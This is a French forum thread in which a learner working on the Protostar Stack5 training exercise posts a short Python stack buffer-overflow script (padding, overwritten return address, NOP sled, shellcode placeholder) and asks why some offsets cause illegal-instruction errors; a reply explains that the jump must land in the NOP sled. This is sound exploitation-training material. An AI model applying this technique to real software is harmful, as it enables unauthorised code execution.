OS : systèmes d’exploitation
Illegal instruction buffer overflow
Salut !
Je m’amuse sur Protostar, sur le Stack5 précisément (https://exploit.education/protostar/stack-five/) mais je rencontre une interrogation. J’ai mis en place un code python pour faire un buffer overflow :
import struct
pad = "A" * 76
eip = struct.pack("I", 0xbffff7b0+8)
shellcode = "shellcode trop long pour le copier"
nop = "\x90" * 100
print pad + eip + nop + shellcode
Dans ce cas là tout fonctionne mais quand je change eip = struct.pack("I", 0xbffff7b0+8) en eip = struct.pack("I", 0xbffff7b0+4) ou une autre valeur que 4 ou 8, et bien des fois ça fonctionne, d’autres fois ça me mets un Illegal instruction ou un floating point exception.
Faut-il obligatoirement que la valeur soit 8 ou 16 ou 32 ou etc ... ? Qu’est-ce qui provoque ça ?
Merci ! :)
Illegal instruction buffer overflow
Après ton padding eip contient l’adresse sur laquelle on va jump et donc ton 0xbffff7b0+8 doit être une addresse dans tes nop (/x90), si eip pointe sur un endroit ou y’a n’importe quoi par exemple 0xbffff7b0+180 pourrai pointer sur 0x41414141 à tout hasard 0x41 n’est pas une instruction valide d’ou ton Illegal instruction